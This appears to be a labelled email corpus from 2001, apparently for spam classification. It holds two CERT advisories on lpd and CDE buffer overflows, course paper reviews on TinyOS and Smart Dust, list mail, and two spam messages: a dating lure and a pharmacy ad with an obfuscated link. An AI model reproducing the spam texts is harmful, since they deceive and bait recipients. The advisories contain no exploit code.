6.4, 7.0, 7.1, 7.2 Overview There are multiple vulnerabilities in several implementations of the line printer daemon (lpd). The line printer daemon enables various clients to share printers over a network. Review your configuration to be sure you have applied all relevant patches. We also encourage you to restrict access to the lpd service to only authorized users. I. Description There are multiple vulnerabilities in several implementations of the line printer daemon (lpd), affecting several systems. Some of these problems have been publicly disclosed previously. However, we believe many system and network administrators may have overlooked one or more of these vulnerabilities. We are issuing this document primarily to encourage system and network administators to check their systems for exposure to each of these vulnerabilities, even if they have addressed some lpd vulnerabilities recently. Most of these vulnerabilities are buffer overflows allowing a remote intruder to gain root access to the lpd server. For the latest and most detailed information about the known vulnerabilities, please see the vulnerability notes linked to below. VU#274043 - BSD line printer daemon buffer overflow in displayq() There is a buffer overflow in several implementations of in.lpd, a BSD line printer daemon. An intruder can send a specially crafted print job to the target and then request a display of the print queue to trigger the buffer overflow. The intruder may be able use this overflow to execute arbitrary commands on the system with superuser privileges. The line printer daemon must be enabled and configured properly in order for an intruder to exploit this vulnerability. This is, however, trivial as the line printer daemon is commonly enabled to provide printing functionality. In order to exploit the buffer overflow, the intruder must launch his attack from a system that is listed in the ""/etc/hosts.equiv"" or ""/etc/hosts.lpd"" file of the target system. VU#388183 - IBM AIX line printer daemon buffer overflow in kill_print() A buffer overflow exists in the kill_print() function of the line printer daemon (lpd) on AIX systems. An intruder could exploit this vulnerability to obtain root privileges or cause a denial of service (DoS). The intruder would need to be listed in the victim's /etc/hosts.lpd or /etc/hosts.equiv file, however, to exploit this vulnerability. VU#722143 - IBM AIX line printer daemon buffer overflow in send_status() A buffer overflow exists in the send_status() function of the line printer daemon (lpd) on AIX systems. An intruder could exploit this vulnerability to obtain root privileges or cause a denial of service (DoS). The intruder would need to be listed in the victim's /etc/hosts.lpd or /etc/hosts.equiv file, however, to exploit this vulnerability. VU#466239 - IBM AIX line printer daemon buffer overflow in chk_fhost() A buffer overflow exists in the chk_fhost() function of the line printer daemon (lpd) on AIX systems. An intruder could exploit this vulnerability to obtain root privileges or cause a denial of service (DoS). The intruder would need control of the DNS server to exploit this vulnerability. VU#39001 - line printer daemon allows options to be passed to sendmail There exists a vulnerability in the line printer daemon that permits an intruder to send options to sendmail. These options could be used to specify another configuration file allowing an intruder to gain root access. VU#30308 - line printer daemon hostname authentication bypassed with spoofed DNS A vulnerability exists in the line printer daemon (lpd) shipped with the printer package for several systems. The authentication method was not thorough enough. If a remote user was able to control their own DNS so that their IP address resolved to the hostname of the print server, access would be granted when it should not be. VU#966075 - Hewlett-Packard HP-UX line printer daemon buffer overflow A buffer overflow exists in HP-UX's line printer daemon (rlpdaemon) that may allow an intruder to execute arbitrary code with superuser privilege on the target system. The rlpdaemon is installed by default and is active even if it is not being used. An intruder does not need any prior knowledge, or privileges on the target system, in order to exploit this vulnerability. II. Impact All of these vulnerabilities can be exploited remotely. In most cases, they allow an intruder to execute arbitrary code with the privileges of the lpd server. In some cases, an intruder must have access to a machine listed in /etc/hosts.equiv or /etc/hosts.lpd, and in some cases, an intruder must be able to control a nameserver. One vulnerability (VU#39001) allows you to specify options to sendmail that can be used to execute arbitrary commands. Ordinarily, this vulnerability is only exploitable from machines that are authorized to use the lpd server. However, in conjunction with another vulnerability (VU#30308), permitting intruders to gain access to the lpd service, this vulnerability can be used by intruders not normally authorized to use the lpd service. For specific information about the impacts of each of these vulnerabilities, please consult the CERT Vulnerability Notes Database (http://www.kb.cert.org/vuls). III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. This table represents the status of each vendor with regard to each vulnerability. Please be aware that vendors produce multiple products; if they are listed in this table, not all products may be affected. If a vendor is not listed in the table below, then their status should be considered unknown. For specific information about the status of each of these vulnerabilities, please consult the CERT Vulnerability Notes Database (http://www.kb.cert.org/vuls). + = Affected - - = Not Affected ? = Unknown VU# -> |274043 |388183 |722143 |466239 |39001 |30308 |966075 Vendors |||||||||||||||||||||||||||||||||||||||||||||||||||||||| Apple | - | ? | ? | ? | ? | ? | - BSDI | + | ? | ? | ? | ? | ? | ? Caldera | - | - | - | - | - | - | - Cray | ? | - | - | - | - | ? | - Debian | ? | ? | ? | ? | + | + | ? Engarde | - | - | - | - | - | - | - FreeBSD | + | - | - | - | - | - | - Fujitsu | - | - | - | - | - | - | - HP | ? | ? | ? | ? | ? | ? | + IBM | - | + | + | + | - | + | - Mandrake| ? | ? | ? | ? | + | ? | ? NetBSD | + | ? | ? | ? | ? | ? | ? OpenBSD | + | ? | ? | ? | ? | ? | ? Red Hat | ? | ? | ? | ? | + | + | ? SCO | + | ? | ? | ? | ? | ? | ? SGI | + | ? | ? | ? | ? | ? | ? SuSE | + | ? | ? | ? | ? | ? | ? Sun | - | - | - | - | + | - | - Restrict access to the lpd service As a general practice, we recommend disabling all services that are not explicitly required. You may wish to disable the line printer daemon if there is not a patch available from your vendor. If you cannot disable the service, you can limit your exposure to these vulnerabilities by using a router or firewall to restrict access to port 515/TCP (printer). Note that this does not protect you against attackers from within your network. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Computer, Inc. Mac OS X does not have the line printer daemon vulnerability issues described in these advisories. Berkeley Software Design, Inc. (BSDI) Some (older) versions are affected. The current (BSD/OS 4.2) release is not vulnerable. Systems are only vulnerable to attack from hosts which are allowed via the /etc/hosts.lpd file (which is empty as shipped). BSD/OS 4.1 is the only vulnerable version which is still officially supported by Wind River Systems. A patch (M410-044) is available in the normal locations, ftp://ftp.bsdi.com/bsdi/patches or via our web site at http://www.bsdi.com/support Compaq Compaq has not been able to reproduce the problems identified in this advisory for TRU64 UNIX. We will continue testing and address the LPD issues if a problem is discovered and provide patches as necessary. Cray Cray, Inc. has been unable to prove an lpd vulnerability. However, it was deemed that a buffer overflow may be possible and so did tighten up the code. See Cray SPR 721101 for more details. Debian http://www.debian.org/security/2000/20000109 FreeBSD, Inc. ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01%3A58.lpd.asc Hewlett-Packard Company Hewlett-Packard has released HPSBUX0108-163 Sec. Vulnerability in rlpdaemon Bulletin and patches available from http://itrc.hp.com Details to access http://itrc.hp.com are include at the last half of any HP Bulletin. IBM Corporation http://www-1.ibm.com/services/continuity/recover1.nsf/4699c03b46f2d4f68525678c006d45ae/85256a3400529a8685256ac7005cf00a/$FILE/oar391.txt Mandrake Software http://www.linux-mandrake.com/en/updates/2000/MDKSA-2000-054.php3 NetBSD If lpd has been enabled, this issue affects NetBSD versions 1.5.2 and prior releases, and NetBSD-current prior to August 30, 2001. lpd is disabled by default in NetBSD installations. Detailed information will be released subsequent to the publication of this CERT advisory. An up-to-date PGP signed copy of the release will be maintained at ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2001-018.txt.asc Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG and http://www.NetBSD.ORG/Security/. OpenBSD http://www.openbsd.org/errata29.html#lpd RedHat Inc. http://www.redhat.com/support/errata/RHSA2000002-01.6.0.html Santa Cruz Operation, Inc. (SCO) ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.20/ SGI ftp://patches.sgi.com/support/free/security/advisories/20011003-01-P SuSE http://lists2.suse.com/archive/suse-security-announce/2001-Oct/0000.html _________________________________________________________________ The CERT Coordination Center thanks Internet Security Systems and IBM for the information provided in their advisories. _________________________________________________________________ Feedback on this document can be directed to the author, Jason A. Rafail _________________________________________________________________ References * http://www.kb.cert.org/vuls/id/274043 * http://www.kb.cert.org/vuls/id/388183 * http://www.kb.cert.org/vuls/id/722143 * http://www.kb.cert.org/vuls/id/466239 * http://www.kb.cert.org/vuls/id/39001 * http://www.kb.cert.org/vuls/id/30308 * http://www.kb.cert.org/vuls/id/966075 * http://www.kb.cert.org/vuls ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-30.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History November 05, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBO+boKKCVPMXQI2HJAQFLWgP/R8K+kw9GrKp0rF5hdrsiowPOBaO716OM M4dRX+5Ek+svlY9/P948FfU4CyKG1c4M9FzSMgoKTUmvsnB+NVFgln/d0+jMfAy0 IyzHxyp5bSbF6pbfEyyr7gy8S3xaaVyDbAmhuLAW0Kiwy1xMmOFjZLu0W+A99rf7 XMm+KQhJe6o= =pB53 -----END PGP SIGNATURE----- ",0,1 Dwayne ,egs@popsrv.cs.cornell.edu,"Mon, 05 Nov 2001 18:44:08 -0800",want to meet?,"Hi there lovely, bThis kind of opportuniaty comes ones in a life. I don't wanctc to miss it. Do you? I am coming to your aplace in few days and I though may be we can meet each other. If you don't mind bI can send ycou my picturec. I am a gbirl. You can correspond with me usinga my email yggq@datetodayy.com ",1,0 jitzel@state.de.us,Lesson Study Listserv ,"Wed, 07 Nov 2001 09:40:10 -0500",open house,"Does anyone know of any upcoming Lesson Study open houses? Janice Itzel, Teacher-on-Loan Lesson Study Delaware Department of Education 302-739-4885 ex. 3333 jitzel@state.de.us --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 Carla Meskill ,"""'txie@csulb.edu'"" ","Thu, 08 Nov 2001 16:00:17 -0500",MERLOT Review of Conversatonal Mandarin Chinese Online,"November 8, 2001 Dear Dr. Xie, Thank you for your willingness to participate in the MERLOT project and the peer review of your materials. Below is the first draft of the review. We had two reviewers who have expertise in the relevant discipline apply the MERLOT-World Languages criteria. The report contains: (1) a description of the special features of your site; and (2) an evaluation of the quality of the content, potential effectiveness as a teaching-learning tool, and ease of use of your materials. We hope this format is useful for you and the faculty who will be searching MERLOT looking for materials like your own. We also hope this information is useful to you. As presented in the initial invitation letter, the next steps in the peer review process are: · You are welcome to provide feedback to the review team. · If you are satisfied with the review, the report will be posted on the MERLOT website along with a pointer to your material. You have the option of not having the review posted. · At your request, letters will be sent to you and two others you designate acknowledging the quality of your work. . Thank you again. We look forward to further collaborations and participation in MERLOT. Sincerely, Carla Meskill & Laura Franklin World Languages Discipline Team Co-leaders --- MERLOT WORLD LANGUAGES PEER REVIEW Name of Module: Conversational Mandarin Chinese Online URL: http://philo.ucdavis.edu/CHINESE/ccol.htm Type of Material: Tutorial OVERVIEW The contents of this module are useful in assisting beginning-intermediate learners of Chinese to improve their skills in listening, speaking, reading, and character recognition/writing. There is animation of character writing by stroke order. There is also scoring in listening and reading exercises. Traditional Chinese characters can be viewed through NJWIN or AsianBridge, and an audio player is needed to listen to sound. QUALITY OF CONTENT Rating: 4 FEATURES OF EXCELLENCE The purpose is clear, and there is an adequate amount of material. Characters collocate with pinyin. There are fifteen units in total. Units consist of Part I (Listen and Learn), Part II (New Sentence Modules), and Part III (Practice Makes Perfect). FEATURES OF CONCERNS/RECOMMENDATIONS The contents of the units would be more consistent if the additional parts on listening and reading exercises and character writing in Units Eleven and Fifteen were listed in separate categories. POTENTIAL EFFECTIVENESS AS A TEACHING-LEARNING TOOL Rating: 4 FEATURES OF EXCELLENCE This module is a useful resource to supplement classroom instruction/activities. It can also be used for homework assignments. Instruction on how to read Chinese characters on the web is clear. The listening, reading, and translation exercises are engaging. FEATURES OF CONCERNS/RECOMMENDATIONS Feedback on pronunciation would enhance the usefulness of these activities. EASE OF USE (TECHNICAL) Rating: 4 FEATURES OF EXCELLENCE Links are consistently placed on each page for easy navigation. The main page is visually appealing. FEATURES OF CONCERNS/RECOMMENDATIONS The pages within the units are all white with black print. Pictures relevant to the listening and reading materials would be helpful in engaging users. ",0,1 J Sloan ,Linux Kernel Developer ,"Thu, 08 Nov 2001 19:45:13 -0800",Re: CPQARRAY driver horribly broken in 2.4.14,"Linux Kernel Developer wrote: > Hi all, > > I'm using the cpqarray driver for a Compaq Smart Arrat 3100ES > controller on a Compaq Proliant 7000. Today I tried upgrading the kernel to > 2.4.14. Soon after the upgrade I though about making a small change in the > kernel however as soon as I tried doing a ""make dep"" the system oopsed and > froze. Been there, done that, bought the t-shirt. The attached patch courtesy of Jens Axboe fixed my Compaq 6500 which was giving me fits - basically in 2.4.14 it had a nasty habit of scribbling on the disk and then locking up, requiring a power cycle, manual fsck and file restoration to get it running again. With this patch 2.4.14 has been solid. cu jjs ",0,0 Carmela ,egs@cs.cornell.edu,"Fri, 02 Oct 1998 17:30:11 -0500",Erection problems can be fixed Monte,"There are 100's of websites to buy medication for Erectile Difficulties, but not for 1.56 cents a pill. We have some of the lowest pricing on the internet. If you are already paying hundreds of dollars, then you should visit: http://durkin0w676c5unw55s00tn0ib5i00.dipylonli.com/ Sincerely, Carmela Customer Service Team bib you gertrude me, wake . constraint you amorous me, acquisition portray borough . gusty you tent me, calumniate validate . imposition you loom me, monologist rampant moral . http://durkin0w676c5unw55s00tn0ib5i00.dipylonli.com/schenectady ",1,1 Edward Hua ,egs@CS.Cornell.EDU,"Mon, 12 Nov 2001 15:45:33 -0500",615 Paper # 42,"TinyOS: An Operating Systems for Networked Sensors Jason Hill, et al. The group of researchers at UC Berkeley have proposed the TinyOS, an event-driven operating environment designed for use with embeddednetworked sensors. TinyOS is designed to perform with ultra-low power consumption and to support concurrency-intensive applications, i.e., applications who accept only the most recently gathered data and discard the others. TinyOS serves as a system-level bridge between the low-power RF technology and MEMS (Micro-Electro-Mechanical-System) technology. Its attributes include is small physical size, its support for concurrency-critical applications, its diversity in design and usage, and its great autonomy in establishing the sensor network without oversight. In addition, instead of developing the TinyOS from scratch, all hardware components of this platform are purchased off-the-shelf. This makes it very cost-effective. TinyOS takes advantage of the ad hoc sensing technique commonly associated with MANETs. All nodes in a TinyOS sensor network are autonomous, and, once deployed, communicate with each other to assemble the network. One of the nodes is designated as the central collection point, or the base station. The data captured by the nodes of the network propagate to the base station. The information on the connectivity and error rates exchanged between the nodes may be used to infer the relative distance amongst them. A TinyOS, in a sense, is a finite state machine (FSM). A single node functioningly independently is considered a state, and a network of nodes working together represents transitions from state to state. Such a design philosophy allows quick, low-overhead, non-blocking state transmissions, and allows independent components of the network to share a single execution context. This enhances the network's ability to scale flexibly. Another feature of TinyOS is that it blurs the boundary between HW and SW. In fact, the component model used by TinyOS translates and propogates the HW abstractions into software. On the otherhand, it also allows for migrations of SW components into HW. An example is that the bit level radio procession component could be implemented as specialized FIFO with complex pattern matching techniques. This feature makes TinyOS to be highly modular, as it permits a node in the network to transport its software modules to other nodes with minimum effor, therefore achieving application-specific functionality. The performance results of TinyOS are demonstrated in some of the presentation slides made by the Berkeley team. One of the important contributions is that it extends the battery life span, often a critical constraint in sensor network deployment, to nearly a year if running low-load tasks, because it uses the commercially available Panasonic CR2354 560 mAh lithium battery. However, this economic battery consumption is subject to the periodicity of the sensor node listening modes. When the node listens full time, the battery life is about 72 hours. Therefore, the type of application and its requirement of active listening node often determines the life span of the sensor node network. Indeed, the researchers argue that in deploying the sensor network, the paramount concern is the energy consumption, and it is to the end of reducing as much energy consumption as possible that TinyOS is devised. ------------------------------------------------ Smart Dust: Autonomous Sensing and Communication in a Cubic Millimeter Kris Pister, John Kahn, Bernhard Boser This team of researchers at Berkeley are working on the ""smart dust,"" a complete sensor/communication system can be integrated into a cubic millimeter package. Smart dust may find applications in areas such as weather/seismological monitoring, chemical/biological sensors, product quality monitoring, and smart office space. The current technology allows researchers to achievetens of cubic millimeters sensors, called motes, although a breakthrough was expected last July that would push the physical size down to around one cubic millimeter. The source of the energy that supports the functioning smart dust is either solar energy or combustion/thermopiles. The researchers claim that their smart dust may last up to two years when running at 1% duty cyle. The idea behind the smart dust is as follows. Because of the miniscule size of each mote, conservation of power consumption is the top priority. Therefore, a node does not remain on at all times. At any given time, only a few timers and a clock are running while most parts of the mote are in sleep mode. Each timer has a specific, corresponding function to control. When one timer expires, a function module is awakened and begins execute its pre-assigned tasks. The function module remains on for a certain period of time, at the end of which it returns to sleep with its timer reset to begin counting again. A mote is also usually equipped with a receiver, which allows it to communicate with the neighbors of the mote in case of packet transmissions. It too functions in the aforementioned manner in order to conserve energy. The receiver has two major functions. First, it may receive instructional packets from another mote that instruct it to perform some certain task. Second, it may act as a station to help relay an incoming packet or packets to the intended destination. Another energy-conservation technique used in smart dust is through the use of corner-cube-retroreflector. The corner cube retroreflector transmits information just by moving a mirror and thus changing the reflection of a laser beam from the base station. This technique is substantially more energy efficient than actually generating some radiation, as the only energy consumed is that to tweak the orientation of the mirror. One implicit assumption in the research of smart dust is that the base station where all the data collected from the motes goes to must be in the vicinity of the network. This is so because the transmission range of the motes is maintained at a minimum, barely enough for motes to communicate with each other. There are scenarios in which the motes may be spread over in a remote area. In that case, either a data retrieval device with more powerful signal reception power needs to be installed permanently or some kind of fly-over of a airplane-carried receiver is required. In either case, there is a closely bonded proximity that exists between the receiver of the data and the smart dust network. This may be a constraint in finding a suitable application for the smart dust technology. ",0,0 CERT Advisory ,cert-advisory@cert.org,"Mon, 12 Nov 2001 16:59:00 -0500",CERT Advisory CA-2001-31 Buffer Overflow in CDE Subprocess Control Service," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-31 Buffer Overflow in CDE Subprocess Control Service Original release date: November 12, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running CDE Overview There is a remotely exploitable buffer overflow vulnerability in a library function used by the CDE Subprocess Control Service. This vulnerability could be used to crash the service or to execute arbitrary code with root privileges. This vulnerability is documented in VU#172583. I. Description The Common Desktop Environment (CDE) is an integrated graphical user interface that runs on UNIX and Linux operating systems. The CDE Subprocess Control Service (dtspcd) is a network daemon that accepts requests from clients to execute commands and launch applications remotely. On systems running CDE, dtspcd is spawned by the Internet services daemon (typically inetd or xinetd) in response to a CDE client request. dtspcd is typically configured to run on port 6112/tcp with root privileges. For more information about CDE, see http://www.opengroup.org/cde/ http://www.opengroup.org/desktop/faq/ There is a remotely exploitable buffer overflow vulnerability in a shared library that is used by dtspcd. During client negotiation, dtspcd accepts a length value and subsequent data from the client without performing adequate input validation. As a result, a malicious client can manipulate data sent to dtspcd and cause a buffer overflow, potentially executing code with root privileges. The vulnerability was first reported to us in March 1999, and more recently by Internet Security Systems (ISS) X-Force. For more information, see http://www.kb.cert.org/vuls/id/172583 http://xforce.iss.net/alerts/advise101.php This vulnerability has been assigned the identifier CAN-2001-0803 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0803 Many common UNIX systems ship with CDE installed and enabled by default. To determine if your system is configured to run dtspcd, check for the following entries (may be wrapped): /etc/services dtspc 6112/tcp /etc/inetd.conf dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd Any system that does not run the CDE Subprocess Control Service is not vulnerable to this problem. II. Impact An attacker can execute arbitrary code with root privileges. III. Solution Apply a patch Appendix A contains information from vendors who have provided information for this advisory. We will update the appendix as we receive more information. If a vendor's name does not appear, then the CERT/CC did not hear from that vendor. Please contact your vendor directly. Limit access to vulnerable service Until patches are available and can be applied, you may wish to limit or block access to the Subprocess Control Service from untrusted networks such as the Internet. Using a firewall or other packet-filtering technology, block or restrict access to the port used by the Subprocess Control Service. As noted above, dtspcd is typically configured to listen on port 6112/tcp. It may be possible to use TCP Wrapper or a similar technology to provide improved access control and logging functionality for dtspcd connections. Keep in mind that blocking ports at a network perimeter does not protect the vulnerable service from the internal network. It is important to understand your network configuration and service requirements before deciding what changes are appropriate. TCP Wrapper is available from ftp://ftp.porcupine.org/pub/security/index.html Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Caldera, Inc. Caldera Open Unix and UnixWare are vulnerable. Caldera has released Security Advisory CSSA-2001-SCO.30 (URL wrapped): ftp://stage.caldera.com/pub/security/openunix/ CSSA-2001-SCO.30/CSSA-2001-SCO.30.txt Compaq Computer Corporation Case ID SSRT0782U Compaq has not been able to reproduce the problem identified in this advisory for any Compaq OS. However, with the information available, we are including a code change for Compaq's TRU64 UNIX that will further reduce any potential overflow vulnerability. This updated code will be announced when patches are available from the TRU64 UNIX FTP site and will be included in future releases of TRU64 UNIX. The TRU64 UNIX FTP patch site is at: http://ftp.support.compaq.com/public/dunix/ To subscribe to automatically receive future NEW Security Advisories from the Compaq's Software Security Response Team via electronic mail, use your browser select the URL: http://www.support.compaq.com/patches/mailing-list.shtml Select ""Security and Individual Notices"" for immediate dispatch notifications directly to your mailbox. To report new Security Vulnerabilities, send mail to: security-ssrt@compaq.com Cray Inc. UNICOS, UNICOS/mk, and CrayTools are not vulnerable. Fujitsu Fujitsu's UXP/V operating system is not vulnerable because it does not support any CDE components. Hewlett-Packard Company The version of dtspcd supplied by HP has a buffer overflow. It is not clear whether this overflow can be exploited. To be safe HP is generating patches to fix this overflow on the assumption that it might be exploitable. IBM Corporation IBM addressed a buffer overflow in CDE dtspcd in AIX 4.x around April 1999. See the following APARs for more information (URLs wrapped): APAR IY06694: http://techsupport.services.ibm.com/aix/fixes/v4/X11/ X11.Dt.rte.4.3.3.10.info APAR IX89419 (AIX 4.3.0): http://www-1.ibm.com/servlet/support/manager?rs=0&rt=0& org=apars&doc=29B5A5858069D8A2852567C90039978E http://techsupport.services.ibm.com/aix/fixes/v4/X11/ X11.Dt.lib.4.3.2.5.info APAR IX89893 (AIX 4.2.0): http://www-1.ibm.com/servlet/support/manager?rs=0&rt=0& org=apars&doc=AAF008DAA07200B6852567CC0049B07D APAR IX89806 (AIX V4.1 BOS): http://www-1.ibm.com/servlet/support/manager?rs=0&rt=0& org=apars&doc=446F48D60A887FF0852567CA005C9920 The Open Group The Open Group maintains source code for the Common Desktop Environment (CDE). The Open Group is investigating this issue, and source licensees of The Open Group's CDE product can contact desktop@opengroup.org for advice regarding this issue. SGI SGI acknowledges the CDE vulnerabilities reported by CERT and is currently investigating. No further information is available at this time. For the protection of all our customers, SGI does not disclose, discuss or confirm vulnerabilities until a full investigation has occurred and any necessary patch(es) or release streams are available for all vulnerable and supported IRIX operating systems. Until SGI has more definitive information to provide, customers are encouraged to assume all security vulnerabilities as exploitable and take appropriate steps according to local site security policies and requirements. As further information becomes available, additional advisories will be issued via the normal SGI security information distribution methods including the wiretap mailing list. http://www.sgi.com/support/security/ Sun The Sun dtspcd daemon is vulnerable to this buffer overflow. Sun is generating patches to address this issue for all affected and supported versions of Solaris. Sun will be releasing a Sun Security Bulletin once the patches are officially released and publicly available. The patches will be available from: http://sunsolve.sun.com/securitypatch Sun Security Bulletins are available from: http://sunsolve.sun.com/security Xi Graphics We have not been able to confirm whether we are vulnerable to this exploit, however the potential for a buffer overrun is present. We will provide a patch on our FTP site for DeXtop during the week of [November] 12th that addresses this issue. Appendix B. - References 1. http://www.kb.cert.org/vuls/id/172583 2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0803 3. http://xforce.iss.net/alerts/advise101.php 4. http://www.opengroup.org/cde/ 5. http://www.opengroup.org/desktop/faq/ _________________________________________________________________ _________________________________________________________________ The CERT Coordination Center thanks Internet Security Systems (ISS) X-Force, who published an advisory on this issue. _________________________________________________________________ Author: Art Manion ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-31.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History November 12, 2001: initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBO/BEB6CVPMXQI2HJAQG9PwP/aF15EaiyfA/YOUYmWCtAxhygunt2CqQ5 cUiUrJYOdVGdalHsUlNTUkQ+QxQec2xAIep5Z3Np4p3pMFHXMXgW1EOEn5KtFwip RlG2amdCMTcC8BUSM9h+zW+z1EY6idZ2iCyYr6hh5uMsC65/5v6SWpgKb14DUeSh a8z0jOCLPBg= =vuwU -----END PGP SIGNATURE----- ",0,1 """Virantha N. Ekanayake"" ",egs@CS.Cornell.EDU,"Mon, 12 Nov 2001 23:33:46 -0500",615 Paper 42,"TinyOS is lightweigt multithreaded (microthreaded) operating system for wireless sensor environments. They provide a high degree of concurrency to keep the data flowing and reduce the requirements for data buffers. The multi-threading has a two-level scheduling scheme: one low-level for scheduling hardware events, and another for long-running tasks that can be interrupted. The system is event-based and thus does not have the overhead of context switches in a stack based threaded system. The main points of the OS can be described as follows: Components are hierarchical and range from low-level hardware modules to high-level application modules. Commands are used to communicate with lower-levels in a non-blocking manner. Events are generated by hardware components and other lower levels and propagate upwards. Tasks are the main method of performing work and encapsulate command and event generation, and in this system, they run to completion. The task-scheduler is a simple FIFO based system. The OS is very well suited for a micro-controller environment -- it fits in 172 bytes of memory and context switches in 12.75us (on a 4Mhz processor). Active Messages are the most significant introduction to TinyOS -- the example they present shows how they can be used to set up multi-hop routing in an efficient manner. The active message concept is basically a remote procedure call (each message invokes a local handler in the receiver) without all the overhead of a system call. In the TinyOS case, they can be handled via the normal event handler. All in all, TinyOS presented an interesting programming viewpoint towards the design of lowcost sensor networks, something absent from other more hardware centric designs that never really addressed the feasability of using the hardware. Smart Dust describes millimeter scale autonomous wireless sensor devices. They base the sensor concept on MEMS and connect to a custom built processor and communication device. They did build a 100 square millimeter device that was non-functioning back in 1999 -- the current state of affairs isn't evident on their web page. However, they have been leveraging the TinyOS on larger scale devices with RF, laser, IR communication methods. It looks like a promising effort in sensor networks, and they seem to have a unified SW/HW approach that's necessary for a successful implementation. ",0,0 c.tavoularis@utoronto.ca,egs@CS.Cornell.EDU,"Tue, 13 Nov 2001 02:41:48 -0500",615 PAPER 42,"The most recent goal of sensor networks, as seen in the implementation of SmartDust and TinoOS, is to make tiny yet effective ‘motes’ that can handle computing and communication. Sensor networks have many useful applications. They serve the military for surveillance and monitoring. They can monitor environmental conditions such as temperature and humidity from which statistics can be gathered for things such as animal or plant behavior or product quality. Other functionality includes automatic inventory and virtual keyboards. The best way for sensor network technology to accommodate these tasks is to have discrete nature, low cost and easy deployment. SmartDust and TinyOS attempt to reach the extremities of size reduction, as small as a square-millimeter, using inexpensive off-the-shelf hardware components. Sensor networks achieve easy deployment by nature of self- initializing multi-hop routing. A key to the functionality of SmartDust is preserving energy. Preserving energy prolongs the life of individual sensors and the network as a whole, and reduces cost. This is particularly aided by the micro-controller that also controls power consumption. In fact, much of the mote is powered off most of the time, while a few timers allow parts of the mote to power on to perform a task and power off again. There are timers to control only the major parts of the mote including the micro-controller and the receiver. Motes happen to use lasers for communication in a particularly energy efficient manner. Motes simply reflect a laser generated by the base station in an appropriate direction to transmit data to any other mote in the network. The motes are also adaptable and can accept code via the wireless communication interface that will change their functionality. TinyOS is an event-based environment that handles concurrent operations at each of the nodes in a sensor network. TinyOS must also minimize overhead, and does so by managing non-blocking states for each module with fine-grained concurrency. It similarly uses inexpensive off-the-shelf hardware. Both the aforementioned systems achieve impressive results. It is interesting to compare and contrast the two implementations, since one is software oriented and the other hardware. ",0,0 Ranveer Chandra ,Emin Gun Sirer ,"Tue, 13 Nov 2001 10:54:39 -0500",615 PAPER 42,"TinyOS and Sensor Dust The small size of sensor devices have made the deployment of sensor networks feasible. However, these networks are characterized by nodes with limited battery power, bandwodth, computation and storage. Traditional communication hardware and protocols are not constrained by power and bandwidth, nor by communication and storage. Therefore an efficient sensor network would require a completely new architecture with a rebuild on the communication stack. Research at UC Berkeley has focussed on these two problems: TinyOS attacks the problem in software trying to optimize code and protocols to be power and bandwidth efficient, and smart dust approaches the same problems in hardware. Smart Dust proposes a new look at the hardware for sensor networks, including an optical communication scheme. Reflectors are used to reduce the energy concuption. However, an optical communication would require line of sight reachability among sensor nodes. Overall, the approaches proposed are fascinating. They highlight the fact that traditional RF communication schemes are expensive and alternate schemes should be explored. TinyOS looks at the communication stack for sensor devices, and tries to rebuild the software and protocols for efficiency. A new MAC protocol is proposed for sensor devices. This MAC is specialized CSMA when the traffic pattern is correlated. An adaptive rate control scheme is proposed to reduce the number of collisions. Further, the RTS/CTS/DATA/ACK scheme is modified, so that ACKs are not explicitly needed. Since the data will be forwarded, ACKs are assumed to be free by listening in promiscuous mode. Another novel idea in TinyOS is the use of Active Messages to reduce the energy consumption. This could be used for overlap of computation and 